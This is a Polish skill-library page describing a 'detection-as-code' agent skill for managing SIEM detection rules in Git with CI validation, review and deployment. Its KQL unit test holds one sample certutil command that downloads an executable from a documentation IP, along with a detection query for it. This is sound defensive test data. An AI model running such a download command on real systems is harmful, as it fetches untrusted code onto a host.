Przejdź do treści
Biblioteka skilli
Bezpieczeństwo · Automatyzacja

detection-as-code

/detection-as-code

Prowadzi reguły detekcji jako kod: repozytorium Git, walidację w CI, przegląd, wdrażanie do SIEM i wersjonowanie.

Repozytorium
Claude-Blue ↗
Licencja
MIT
Ostatnia zmiana repozytorium
01.11.2026

Ocena i bezpieczeństwo

100/ 100Klasa: dobry
Format25 / 25
Frontmatter z nazwą i opisem, poprawna nazwa, opis do 1024 znaków, nazwa zgodna z folderem.
Odkrywalność25 / 25
Opis mówi, kiedy użyć skilla, ma sensowną długość i jest w 3. osobie.
Treść35 / 35
Co najmniej 150 słów i do 500 linii, nagłówki, listy kroków, przykłady albo kod.
Higiena15 / 15
Bez zaślepek typu TODO, bez ścieżek Windows, z licencją.
Ryzykobrak sygnałów w skanie
Pliki w paczce
1
Skrypty
0
Komentarze HTML
0
Adresy URL w SKILL.md
4
Przestarzałość

Brak sygnałów. Repozytorium zmienione 01.11.2026, bez odwołań do wycofanych modeli i API.

Licencja

MIT, otwarta: można używać i zmieniać, z zachowaniem informacji o autorze.

Co robi i kiedy

Prowadzi reguły detekcji jako kod: repozytorium Git, walidację w CI, przegląd, wdrażanie do SIEM i wersjonowanie.

Oryginalny opis (EN)

Manage detections as code — Git repository layout, rule schema and metadata, CI validation (sigma check, unit tests with sample events), peer review, automated deployment to SIEM via API/Terraform, versioning and rollback. Use when setting up a detection engineering pipeline, reviewing a detection repo, or moving from console-edited rules to version control.

Jak działa

  1. Repository layout
  2. Required rule metadata
  3. CI pipeline stages
  4. KQL unit test pattern (Sentinel)
  5. Controls
  6. Related skills
  7. References
Sekcje z nagłówków SKILL.md, w oryginale · 55 linii, 275 słów
Podgląd SKILL.md
---
name: detection-as-code
description: Manage detections as code — Git repository layout, rule schema and metadata, CI validation (sigma check, unit tests with sample events), peer review, automated deployment to SIEM via API/Terraform, versioning and rollback. Use when setting up a detection engineering pipeline, reviewing a detection repo, or moving from console-edited rules to version control.
license: MIT
metadata:
  category: detection-engineering
  version: "2.0.0"
  verification: documented
---

# Detection as Code

## Repository layout

```
detections/
  rules/<platform-or-sigma>/<tactic>/<rule>.yml
  tests/<rule-id>/{positive.json,negative.json}
  pipelines/corp_mapping.yml
  lookups/allowlists/*.csv          # exclusions with owner + expiry columns
  docs/ads/<rule-id>.md             # ADS documentation
  .github/workflows/ci.yml
```

## Required rule metadata

`id`, `title`, `status`, `owner`, `ATT&CK tags`, `severity`, `data sources`, `false positives`, `runbook link`, `created/modified`, `test case IDs`. Enforce with a schema check in CI.

## CI pipeline stages

1. Lint/schema: `sigma check rules/`, yamllint, custom metadata checks (owner present, runbook exists, unique IDs).
2. Convert: `sigma convert` per target; fail on unmapped fields.
3. Unit test: evaluate the rule against `positive.json` (must match) and `negative.json` (must not) — e.g. with a local evaluator, Splunk `| makeresults`-based tests, Sentinel `datatable()` tests, or Elastic's detection-rules test harness.
4. Peer review via pull request (two-person rule for production detections).
5. Deploy on merge via API/IaC: Splunk REST (`saved/searches`), Sentinel (`Microsoft.SecurityInsights/alertRules` via ARM/Bicep/Terraform `azurerm_sentinel_alert_rule_scheduled`), Elastic `detection-rules` CLI (`kibana import-rules`), Chronicle/SecOps APIs.
6. Post-deploy smoke test: confirm rule enabled and scheduled; synthetic test event if available.

## KQL unit test pattern (Sentinel)

```kusto
let DeviceProcessEvents = datatable(FileName:string, ProcessCommandLine:string)
[ "certutil.exe", "certutil -urlcache -split -f http://198.51.100.1/a.exe a.exe",
  "certutil.exe", "certutil -verify cert.cer" ];
DeviceProcessEvents
| where FileName =~ "certutil.exe" and ProcessCommandLine has "urlcache" and ProcessCommandLine has "http"
| count   // expect 1
```

## Controls

- Production rule changes only through the pipeline (lock console editing via RBAC or detect drift by comparing deployed rules to repo nightly).
- Tag releases; rollback = redeploy previous tag.
- Exclusion lookups also go through PR with expiry.

## Related skills

`sigma-conversion`, `detection-testing`, `detection-lifecycle`, `alert-tuning`

## References

- Elastic detection-rules repo (DaC reference implementation): https://github.com/elastic/detection-rules
- Splunk security_content (ESCU) repo: https://github.com/splunk/security_content
- Terraform azurerm_sentinel_alert_rule_scheduled: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/sentinel_alert_rule_scheduled

Wersje

W bazie nie ma innych skilli o nazwie detection-as-code.

Migawka bazy z 13.11.2026 · wersja paczki 21075a3143f5 (skrót SHA-256 całej paczki)

Pobrania w ostatnich 30 dniach: 0 · ranking

Zgłoś problem z tym skillem: szkodliwa treść, błędny opis albo prośba autora o usunięcie.

Podobne skille

  • 100siem-rule
    Pisze reguły detekcji SIEM dla zagrożenia lub techniki: format SIGMA, mapowanie na MITRE i przypadki testowe.
  • 100sigma-generic-signature-format-detection
    Pisze przenośne reguły wykrywania Sigma, które da się przekonwertować na natywne języki zapytań SIEM.
  • 100siem-detection
    Projektuje i audytuje reguły wykrywania w SIEM: pokrycie źródeł logów, zapytania Sigma, KQL, SPL i mapowanie do MITRE ATT&CK.
  • 100threat-hunting
    Wspiera polowanie na zagrożenia po stronie obrony: reguły Sigma i YARA, projektowanie zapytań SIEM i walidację wykrywania incydentów.
  • 100cyber-detection-engineering
    Projektuje i recenzuje reguły detekcji na podstawie wymagań telemetrii, logiki korelacji, metadanych Sigma, poziomu ważności i przypadków łagodnych.
  • 100building-detection-rules-with-sigma
    Buduje niezależne od dostawcy reguły detekcji w formacie Sigma dla platform SIEM (Splunk, Elastic, Microsoft Sentinel), mapuje je do technik MITRE ATT&CK i konwertuje reguły społeczności przez sigmac lub pySigma.

Uwagi i zgłoszenia

Wiadomość trafi do Bartosza Sokolińskiego. Adres e-mail jest potrzebny tylko do odpowiedzi. Szczegóły w polityce prywatności.